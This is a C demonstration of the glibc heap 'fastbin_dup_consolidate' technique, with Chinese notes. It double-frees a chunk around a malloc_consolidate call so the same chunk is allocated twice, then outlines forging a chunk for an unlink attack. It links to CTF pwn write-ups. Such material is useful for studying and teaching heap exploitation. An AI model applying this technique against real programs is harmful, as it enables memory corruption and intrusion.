#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void* p1 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
void* p2 = malloc(0x10);
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "申请两个 fastbin 范围内的 chunk: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "先 free p1\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "因为 malloc_consolidate(), p1 会被放到 unsorted bin 中\n");
free(p1);
fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
void* p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void* p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
}
第一个chunk用于演示malloc_consolidate后的double-free
第二个chunk用于观察prev_inuse
,防止与top chunk合并
现在第一个chunk被放置到fastbin中
为了分配这个large chunk。因为large chunk需要的空间较大,会尝试将fastbin中的chunk合并转移到unsortedbin,并将相邻下一chunk的pre_in_use置0。后面遍历unsortedbin得不到使用,就会放到smallbin中
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
第一个chunk malloc(10)已不在fastbin头部了,同时chunk a链入了small bin中
因为这个chunk的大小属于fastbin,且已不在fastbin头部,可以被释放。
被释放到fastbin中,第一个chunk fd数据被清理掉(这里不影响small bin的链接)。
现在small bin和fastbin都存储了chunk a,可以申请申请两次。
在通过申请large chunk时,会触发malloc_consolidate,会将chunk a放入到unsorted bin->small bin,此时下一个chunk b的prev_inuse清零
之后将chunk a进行double-free,再申请回来,由于不是从small bin申请回来的,所以下一个chunk b的prev_inuse还是零
现在就可以在chunk a中伪造chunk,释放下一个chunk b,从而产生unlink,通过unlink进行利用
源码分析可以看这里:https://www.lazenca.net/display/TEC/fastbin_dup_consolidate%5BKorean%5D±+Restoring
相关pwn题:
https://blog.csdn.net/seaaseesa/article/details/105856878
https://blog.csdn.net/weixin_44309300/article/details/131027082